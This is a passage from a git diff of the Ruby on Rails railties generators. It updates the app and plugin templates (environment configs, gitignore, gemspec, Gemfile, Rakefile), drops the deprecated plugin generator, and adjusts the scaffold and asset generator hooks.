jdbcsqlite3 + adapter: sqlite3 database: db/production.sqlite3 diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml index 467dfc3956..f08f86aac3 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml +++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml @@ -1,4 +1,4 @@ -# PostgreSQL. Versions 7.4 and 8.x are supported. +# PostgreSQL. Versions 8.2 and up are supported. # # Install the pg driver: # gem install pg diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt index 066aa54862..47078e3af9 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt @@ -2,7 +2,7 @@ # Settings specified here will take precedence over those in config/application.rb # In the development environment your application's code is reloaded on - # every request. This slows down response time but is perfect for development + # every request. This slows down response time but is perfect for development # since you don't have to restart the web server when you make code changes. config.cache_classes = false @@ -21,4 +21,15 @@ # Only use best-standards-support built into browsers config.action_dispatch.best_standards_support = :builtin + + <%- unless options.skip_active_record? -%> + # Raise exception on mass assignment protection for ActiveRecord models + config.active_record.mass_assignment_sanitizer = :strict + <%- end -%> + + # Do not compress assets + config.assets.compress = false + + # Expands the lines which load the assets + config.assets.debug = true end diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt index 1c3dc1117f..50f2df3d35 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt @@ -11,13 +11,21 @@ # Disable Rails's static asset server (Apache or nginx will already do this) config.serve_static_assets = false - # Compress both stylesheets and JavaScripts - config.assets.js_compressor = :uglifier - config.assets.css_compressor = :scss + # Compress JavaScripts and CSS + config.assets.compress = true + + # Don't fallback to assets pipeline if a precompiled asset is missed + config.assets.compile = false + + # Generate digests for assets URLs + config.assets.digest = true + + # Defaults to Rails.root.join("public/assets") + # config.assets.manifest = YOUR_PATH # Specifies the header that your server uses for sending files - # (comment out if your front-end server doesn't support this) - config.action_dispatch.x_sendfile_header = "X-Sendfile" # Use 'X-Accel-Redirect' for nginx + # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache + # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true @@ -25,8 +33,11 @@ # See everything in the log (default is :info) # config.log_level = :debug + # Prepend all log lines with the following tags + # config.log_tags = [ :subdomain, :uuid ] + # Use a different logger for distributed setups - # config.logger = SyslogLogger.new + # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new) # Use a different cache store in production # config.cache_store = :mem_cache_store diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt index 8d11377211..80198cc21e 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt @@ -2,9 +2,9 @@ # Settings specified here will take precedence over those in config/application.rb # The test environment is used exclusively to run your application's - # test suite. You never need to work with it otherwise. Remember that + # test suite. You never need to work with it otherwise. Remember that # your test database is "scratch space" for the test suite and is wiped - # and recreated between test runs. Don't rely on the data there! + # and recreated between test runs. Don't rely on the data there! config.cache_classes = true # Configure static asset server for tests with Cache-Control for performance @@ -34,6 +34,11 @@ # like if you have constraints or database-specific column types # config.active_record.schema_format = :sql + <%- unless options.skip_active_record? -%> + # Raise exception on mass assignment protection for ActiveRecord models + config.active_record.mass_assignment_sanitizer = :strict + <%- end -%> + # Print deprecation notices to the stderr config.active_support.deprecation = :stderr end diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb index 9e8b0131f8..5d8d9be237 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb @@ -8,3 +8,8 @@ # inflect.irregular 'person', 'people' # inflect.uncountable %w( fish sheep ) # end +# +# These inflection rules are supported but not enabled by default: +# ActiveSupport::Inflector.inflections do |inflect| +# inflect.acronym 'RESTful' +# end diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt index e56195da80..d640f578da 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt @@ -1,12 +1,16 @@ # Be sure to restart your server when you modify this file. # -# This file contains the settings for ActionController::ParametersWrapper -# which will be enabled by default in the upcoming version of Ruby on Rails. +# This file contains settings for ActionController::ParamsWrapper which +# is enabled by default. # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. -ActionController::Base.wrap_parameters <%= key_value :format, "[:json]" %> +ActiveSupport.on_load(:action_controller) do + wrap_parameters <%= key_value :format, "[:json]" %> +end +<%- unless options.skip_active_record? -%> # Disable root element in JSON by default. -if defined?(ActiveRecord) - ActiveRecord::Base.include_root_in_json = false +ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false end +<%- end -%> diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb index d50f536164..ea81748464 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/routes.rb +++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb @@ -54,5 +54,5 @@ # This is a legacy wild controller route that's not recommended for RESTful applications. # Note: This route will make all actions in every controller accessible via GET requests. - # match ':controller(/:action(/:id(.:format)))' + # match ':controller(/:action(/:id))(.:format)' end diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore index 923b697662..eb3489a986 100644 --- a/railties/lib/rails/generators/rails/app/templates/gitignore +++ b/railties/lib/rails/generators/rails/app/templates/gitignore @@ -1,5 +1,15 @@ -.bundle -db/*.sqlite3 -log/*.log -tmp/ -.sass-cache/ +# See http://help.github.com/ignore-files/ for more about ignoring files. +# +# If you find yourself ignoring temporary files generated by your text editor +# or operating system, you probably want to add a global ignore instead: +# git config --global core.excludesfile ~/.gitignore_global + +# Ignore bundler config +/.bundle + +# Ignore the default SQLite database. +/db/*.sqlite3 + +# Ignore all logfiles and tempfiles. +/log/*.log +/tmp diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html index b80307fc16..f3648a0dbc 100644 --- a/railties/lib/rails/generators/rails/app/templates/public/500.html +++ b/railties/lib/rails/generators/rails/app/templates/public/500.html @@ -20,7 +20,6 @@ <!-- This file lives in public/500.html --> <div class="dialog"> <h1>We're sorry, but something went wrong.</h1> - <p>We've been notified about this issue and we'll take a look at it shortly.</p> </div> </body> </html> diff --git a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb b/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb index 5d1be041a5..3fea27b916 100644 --- a/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb +++ b/railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb @@ -5,7 +5,7 @@ class BrowsingTest < ActionDispatch::PerformanceTest # Refer to the documentation for all available options # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory] # :output => 'tmp/performance', :formats => [:flat] } - + def test_homepage get '/' end diff --git a/railties/lib/rails/generators/rails/assets/USAGE b/railties/lib/rails/generators/rails/assets/USAGE index c5375cdc06..d2e5ed4482 100644 --- a/railties/lib/rails/generators/rails/assets/USAGE +++ b/railties/lib/rails/generators/rails/assets/USAGE @@ -7,7 +7,7 @@ Description: This generates a JavaScript stub in app/assets/javascripts and a stylesheet stub in app/assets/stylesheets. - + If CoffeeScript is available, JavaScripts will be generated with the .coffee extension. If Sass 3 is available, stylesheets will be generated with the .scss extension. diff --git a/railties/lib/rails/generators/rails/assets/assets_generator.rb b/railties/lib/rails/generators/rails/assets/assets_generator.rb index 2d52da77eb..2e7f25a0b7 100644 --- a/railties/lib/rails/generators/rails/assets/assets_generator.rb +++ b/railties/lib/rails/generators/rails/assets/assets_generator.rb @@ -7,32 +7,18 @@ module Rails class_option :javascript_engine, :desc => "Engine for JavaScripts" class_option :stylesheet_engine, :desc => "Engine for Stylesheets" - def create_javascript_files - return unless options.javascripts? - copy_file "javascript.#{javascript_extension}", - File.join('app/assets/javascripts', class_path, "#{asset_name}.#{javascript_extension}") - end - - def create_stylesheet_files - return unless options.stylesheets? - copy_file "stylesheet.#{stylesheet_extension}", - File.join('app/assets/stylesheets', class_path, "#{asset_name}.#{stylesheet_extension}") - end - protected def asset_name file_name end - def javascript_extension - options.javascript_engine.present? ? - "js.#{options.javascript_engine}" : "js" + hook_for :javascript_engine do |javascript_engine| + invoke javascript_engine, [name] if options[:javascripts] end - def stylesheet_extension - options.stylesheet_engine.present? ? - "css.#{options.stylesheet_engine}" : "css" + hook_for :stylesheet_engine do |stylesheet_engine| + invoke stylesheet_engine, [name] if options[:stylesheets] end end end diff --git a/railties/lib/rails/generators/rails/plugin/USAGE b/railties/lib/rails/generators/rails/plugin/USAGE deleted file mode 100644 index 1bcfcf190d..0000000000 --- a/railties/lib/rails/generators/rails/plugin/USAGE +++ /dev/null @@ -1,13 +0,0 @@ -Description: - Stubs out a new plugin at vendor/plugins. Pass the plugin name, either - CamelCased or under_scored, as an argument. - -Example: - `rails generate plugin BrowserFilters` - - creates a standard browser_filters plugin: - vendor/plugins/browser_filters/README - vendor/plugins/browser_filters/init.rb - vendor/plugins/browser_filters/install.rb - vendor/plugins/browser_filters/lib/browser_filters.rb - vendor/plugins/browser_filters/test/browser_filters_test.rb diff --git a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb deleted file mode 100644 index 97f681d826..0000000000 --- a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb +++ /dev/null @@ -1,54 +0,0 @@ - -require 'rails/generators/rails/generator/generator_generator' - -module Rails - module Generators - class PluginGenerator < NamedBase - class_option :tasks, :desc => "When supplied creates tasks base files." - - def show_deprecation - return unless behavior == :invoke - message = "Plugin generator is deprecated, please use 'rails plugin new' command to generate plugin structure." - ActiveSupport::Deprecation.warn message - end - - check_class_collision - - def create_root_files - directory '.', plugin_dir, :recursive => false - end - - def create_lib_files - directory 'lib', plugin_dir('lib'), :recursive => false - end - - def create_tasks_files - return unless options[:tasks] - directory 'lib/tasks', plugin_dir('lib/tasks') - end - - hook_for :generator do |generator| - inside plugin_dir, :verbose => true do - invoke generator, [ name ], :namespace => false - end - end - - hook_for :test_framework do |test_framework| - inside plugin_dir, :verbose => true do - invoke test_framework - end - end - - protected - - def plugin_dir(join=nil) - if join - File.join(plugin_dir, join) - else - "vendor/plugins/#{file_name}" - end - end - - end - end -end diff --git a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE.tt b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE.tt deleted file mode 100644 index 8717df053d..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE.tt +++ /dev/null @@ -1,20 +0,0 @@ -Copyright (c) <%= Date.today.year %> [name of plugin creator] - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/railties/lib/rails/generators/rails/plugin/templates/README.tt b/railties/lib/rails/generators/rails/plugin/templates/README.tt deleted file mode 100644 index 702db07cb1..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/README.tt +++ /dev/null @@ -1,13 +0,0 @@ -<%= class_name %> -<%= "=" * class_name.size %> - -Introduction goes here. - - -Example -======= - -Example goes here. - - -Copyright (c) <%= Date.today.year %> [name of plugin creator], released under the MIT license diff --git a/railties/lib/rails/generators/rails/plugin/templates/Rakefile.tt b/railties/lib/rails/generators/rails/plugin/templates/Rakefile.tt deleted file mode 100644 index 77149ae351..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/Rakefile.tt +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env rake -require 'rake/testtask' -require 'rake/rdoctask' - -desc 'Default: run unit tests.' -task :default => :test - -desc 'Test the <%= file_name %> plugin.' -Rake::TestTask.new(:test) do |t| - t.libs << 'lib' - t.libs << 'test' - t.pattern = 'test/**/*_test.rb' - t.verbose = true -end - -desc 'Generate documentation for the <%= file_name %> plugin.' -Rake::RDocTask.new(:rdoc) do |rdoc| - rdoc.rdoc_dir = 'rdoc' - rdoc.title = '<%= class_name %>' - rdoc.options << '--line-numbers' << '--inline-source' - rdoc.rdoc_files.include('README') - rdoc.rdoc_files.include('lib/**/*.rb') -end
\ No newline at end of file diff --git a/railties/lib/rails/generators/rails/plugin/templates/init.rb b/railties/lib/rails/generators/rails/plugin/templates/init.rb deleted file mode 100644 index 3c19a743c9..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/init.rb +++ /dev/null @@ -1 +0,0 @@ -# Include hook code here diff --git a/railties/lib/rails/generators/rails/plugin/templates/install.rb b/railties/lib/rails/generators/rails/plugin/templates/install.rb deleted file mode 100644 index f7732d3796..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/install.rb +++ /dev/null @@ -1 +0,0 @@ -# Install hook code here diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%file_name%.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/lib/%file_name%.rb.tt deleted file mode 100644 index d8d908a959..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/lib/%file_name%.rb.tt +++ /dev/null @@ -1 +0,0 @@ -# <%= class_name %> diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%file_name%_tasks.rake.tt b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%file_name%_tasks.rake.tt deleted file mode 100644 index 72920a9d3a..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%file_name%_tasks.rake.tt +++ /dev/null @@ -1,4 +0,0 @@ -# desc "Explaining what the task does" -# task :<%= file_name %> do -# # Task goes here -# end diff --git a/railties/lib/rails/generators/rails/plugin/templates/uninstall.rb b/railties/lib/rails/generators/rails/plugin/templates/uninstall.rb deleted file mode 100644 index 9738333463..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/uninstall.rb +++ /dev/null @@ -1 +0,0 @@ -# Uninstall hook code here diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb index 9ddb3cae33..4baa2110e7 100644 --- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb +++ b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb @@ -11,15 +11,14 @@ module Rails def app if mountable? directory "app" - template "#{app_templates_dir}/app/views/layouts/application.html.erb.tt", - "app/views/layouts/#{name}/application.html.erb" - empty_directory_with_gitkeep "app/assets/images" + empty_directory_with_gitkeep "app/assets/images/#{name}" elsif full? empty_directory_with_gitkeep "app/models" empty_directory_with_gitkeep "app/controllers" empty_directory_with_gitkeep "app/views" empty_directory_with_gitkeep "app/helpers" - empty_directory_with_gitkeep "app/assets/images" + empty_directory_with_gitkeep "app/mailers" + empty_directory_with_gitkeep "app/assets/images/#{name}" end end @@ -46,6 +45,7 @@ module Rails def lib template "lib/%name%.rb" template "lib/tasks/%name%_tasks.rake" + template "lib/%name%/version.rb" if full? template "lib/%name%/engine.rb" end @@ -108,9 +108,9 @@ task :default => :test def stylesheets if mountable? copy_file "#{app_templates_dir}/app/assets/stylesheets/application.css", - "app/assets/stylesheets/application.css" + "app/assets/stylesheets/#{name}/application.css" elsif full? - empty_directory_with_gitkeep "app/assets/stylesheets" + empty_directory_with_gitkeep "app/assets/stylesheets/#{name}" end end @@ -118,14 +118,16 @@ task :default => :test return if options.skip_javascript? if mountable? - copy_file "#{app_templates_dir}/app/assets/javascripts/application.js.tt", - "app/assets/javascripts/application.js" + template "#{app_templates_dir}/app/assets/javascripts/application.js.tt", + "app/assets/javascripts/#{name}/application.js" elsif full? - empty_directory_with_gitkeep "app/assets/javascripts" + empty_directory_with_gitkeep "app/assets/javascripts/#{name}" end end def script(force = false) + return unless full? + directory "script", :force => force do |content| "#{shebang}\n" + content end @@ -202,7 +204,7 @@ task :default => :test end def create_test_dummy_files - return if options[:skip_test_unit] + return if options[:skip_test_unit] && options[:dummy_path] == 'test/dummy' create_dummy_app end @@ -258,7 +260,7 @@ task :default => :test elsif RESERVED_NAMES.include?(name) raise Error, "Invalid plugin name #{name}. Please give a name which does not match one of the reserved rails words." elsif Object.const_defined?(camelized) - raise Error, "Invalid plugin name #{name}, constant #{camelized} is already in use. Please choose another application name." + raise Error, "Invalid plugin name #{name}, constant #{camelized} is already in use. Please choose another plugin name." end end diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec index 3d9bfb22c7..8588e88077 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec +++ b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec @@ -1,9 +1,27 @@ -# Provide a simple gemspec so you can easily use your -# project in your rails apps through git. +$:.push File.expand_path("../lib", __FILE__) + +# Maintain your gem's version: +require "<%= name %>/version" + +# Describe your gem and declare its dependencies: Gem::Specification.new do |s| - s.name = "<%= name %>" - s.summary = "Insert <%= camelized %> summary." - s.description = "Insert <%= camelized %> description." - s.files = Dir["lib/**/*"] + ["MIT-LICENSE", "Rakefile", "README.rdoc"] - s.version = "0.0.1" + s.name = "<%= name %>" + s.version = <%= camelized %>::VERSION + s.authors = ["TODO: Your name"] + s.email = ["TODO: Your email"] + s.homepage = "TODO" + s.summary = "TODO: Summary of <%= camelized %>." + s.description = "TODO: Description of <%= camelized %>." + + s.files = Dir["{app,config,db,lib}/**/*"] + ["MIT-LICENSE", "Rakefile", "README.rdoc"] +<% unless options.skip_test_unit? -%> + s.test_files = Dir["test/**/*"] +<% end -%> + + <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>" +<% if full? && !options[:skip_javascript] -%> + # s.add_dependency "<%= "#{options[:javascript]}-rails" %>" +<% end -%> + + s.add_development_dependency "<%= gem_for_database %>" end diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile index 29900c93dc..f4efd3af74 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile +++ b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile @@ -1,11 +1,23 @@ source "http://rubygems.org" +# Declare your gem's dependencies in <%= name %>.gemspec. +# Bundler will treat runtime dependencies like base dependencies, and +# development dependencies will be added by default to the :development group. +gemspec + +# jquery-rails is used by the dummy application +gem "jquery-rails" + +# Declare any dependencies that are still in development here instead of in +# your gemspec. These might include edge Rails or gems from your path or +# Git. Remember to move these dependencies to your gemspec before releasing +# your gem to rubygems.org. + +<% if options.dev? || options.edge? -%> +# Your gem is dependent on dev or edge Rails. Once you can lock this +# dependency down to a specific version, move it to your gemspec. <%= rails_gemfile_entry -%> -<% if full? -%> -<%= database_gemfile_entry -%> <% end -%> - -if RUBY_VERSION < '1.9' - gem "ruby-debug", ">= 0.10.3" -end +# To use debugger +# <%= ruby_debugger_gemfile_entry %> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile index 5704e75a29..6ed6adcf1b 100755 --- a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile +++ b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile @@ -4,13 +4,18 @@ begin rescue LoadError puts 'You must `gem install bundler` and `bundle install` to run rake tasks' end +begin + require 'rdoc/task' +rescue LoadError + require 'rdoc/rdoc' + require 'rake/rdoctask' + RDoc::Task = Rake::RDocTask +end -require 'rake/rdoctask' - -Rake::RDocTask.new(:rdoc) do |rdoc| +RDoc::Task.new(:rdoc) do |rdoc| rdoc.rdoc_dir = 'rdoc' rdoc.title = '<%= camelized %>' - rdoc.options << '--line-numbers' << '--inline-source' + rdoc.options << '--line-numbers' rdoc.rdoc_files.include('README.rdoc') rdoc.rdoc_files.include('lib/**/*.rb') end @@ -19,3 +24,8 @@ end APP_RAKEFILE = File.expand_path("../<%= dummy_path -%>/Rakefile", __FILE__) load 'rails/tasks/engine.rake' <% end %> + +<% unless options[:skip_gemspec] -%> + +Bundler::GemHelper.install_tasks +<% end %> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt new file mode 100644 index 0000000000..01550dec2f --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt @@ -0,0 +1,14 @@ +<!DOCTYPE html> +<html> +<head> + <title><%= camelized %></title> + <%%= stylesheet_link_tag "<%= name %>/application" %> + <%%= javascript_include_tag "<%= name %>/application" %> + <%%= csrf_meta_tags %> +</head> +<body> + +<%%= yield %> + +</body> +</html> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb index aa8ea77bae..967668fe66 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb +++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb @@ -1,5 +1,5 @@ module <%= camelized %> - class Engine < Rails::Engine + class Engine < ::Rails::Engine <% if mountable? -%> isolate_namespace <%= camelized %> <% end -%> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb new file mode 100644 index 0000000000..ef07ef2e19 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb @@ -0,0 +1,3 @@ +module <%= camelized %> + VERSION = "0.0.1" +end diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb index 8b68280a5e..996ea79e67 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb +++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb @@ -1,13 +1,15 @@ require File.expand_path('../boot', __FILE__) -<% unless options[:skip_active_record] -%> +<% if include_all_railties? -%> require 'rails/all' <% else -%> -# require "active_record/railtie" +# Pick the frameworks you want: +<%= comment_if :skip_active_record %>require "active_record/railtie" require "action_controller/railtie" require "action_mailer/railtie" require "active_resource/railtie" -require "rails/test_unit/railtie" +<%= comment_if :skip_sprockets %>require "sprockets/railtie" +<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie" <% end -%> Bundler.require diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt b/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt index ebd5a77dd5..aa87d1b50c 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt +++ b/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt @@ -1,5 +1,7 @@ -#!/usr/bin/env ruby # This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. -ENGINE_PATH = File.expand_path('../..', __FILE__) -load File.expand_path('../../<%= dummy_path %>/script/rails', __FILE__) +ENGINE_ROOT = File.expand_path('../..', __FILE__) +ENGINE_PATH = File.expand_path('../../lib/<%= name -%>/engine', __FILE__) + +require 'rails/all' +require 'rails/engine/commands' diff --git a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb index aa9b45c5a5..03a61a035e 100644 --- a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb +++ b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb @@ -11,21 +11,12 @@ module Rails hook_for :scaffold_controller, :required => true - def copy_stylesheets_file - if behavior == :invoke && options.stylesheets? - template "scaffold.#{stylesheet_extension}", "app/assets/stylesheets/scaffold.#{stylesheet_extension}" - end - end - hook_for :assets do |assets| invoke assets, [controller_name] end - private - - def stylesheet_extension - options.stylesheet_engine.present? ? - "css.#{options.stylesheet_engine}" : "css" + hook_for :stylesheet_engine do |stylesheet_engine| + invoke stylesheet_engine, [controller_name] if options[:stylesheets] && behavior == :invoke end end end diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb index 32b961d9fc..4ff15fd288 100644 --- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb +++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb @@ -62,7 +62,7 @@ class <%= controller_class_name %>Controller < ApplicationController respond_to do |format| if @<%= orm_instance.update_attributes("params[:#{singular_table_name}]") %> format.html { redirect_to @<%= singular_table_name %>, <%= key_value :notice, "'#{human_name} was successfully updated.'" %> } - format.json { head :ok } + format.json { head :no_content } else format.html { render <%= key_value :action, '"edit"' %> } format.json { render <%= key_value :json, "@#{orm_instance.errors}" %>, <%= key_value :status, ':unprocessable_entity' %> } @@ -78,7 +78,7 @@ class <%= controller_class_name %>Controller < ApplicationController respond_to do |format| format.html { redirect_to <%= index_helper %>_url } - format.json { head :ok } + format.json { head :no_content } end end end diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb index de01c858dd..b34bc4a524 100644 --- a/railties/lib/rails/generators/resource_helpers.rb +++ b/railties/lib/rails/generators/resource_helpers.rb @@ -65,7 +65,7 @@ module Rails begin "#{options[:orm].to_s.classify}::Generators::ActiveModel".constantize - rescue NameError => e + rescue NameError Rails::Generators::ActiveModel end end diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb index ee85b70bb5..7319fb79f6 100644 --- a/railties/lib/rails/generators/test_case.rb +++ b/railties/lib/rails/generators/test_case.rb @@ -81,7 +81,7 @@ module Rails # # assert_file "app/controller/products_controller.rb" do |controller| # assert_instance_method :index, content do |index| - # assert_match /Product\.all/, index + # assert_match(/Product\.all/, index) # end # end # @@ -148,7 +148,7 @@ module Rails # # assert_migration "db/migrate/create_products.rb" do |migration| # assert_class_method :up, migration do |up| - # assert_match /create_table/, up + # assert_match(/create_table/, up) # end # end # @@ -161,7 +161,7 @@ module Rails # # assert_file "app/controller/products_controller.rb" do |controller| # assert_instance_method :index, content do |index| - # assert_match /Product\.all/, index + # assert_match(/Product\.all/, index) # end # end # diff --git a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb index e7a06e4a73..dea7e22196 100644 --- a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb +++ b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb @@ -1,8 +1,6 @@ require 'test_helper' class <%= class_name %>Test < ActionDispatch::IntegrationTest - fixtures :all - # test "the truth" do # assert true # end diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml index d4138ca2f5..5c8780aa64 100644 --- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml +++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml @@ -1,4 +1,4 @@ -# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html +# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html <% unless attributes.empty? -%> one: diff --git a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb b/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb index 14a878328b..d296b26b16 100644 --- a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb +++ b/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb @@ -5,7 +5,7 @@ class <%= class_name %>Test < ActionDispatch::PerformanceTest # Refer to the documentation for all available options # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory] # :output => 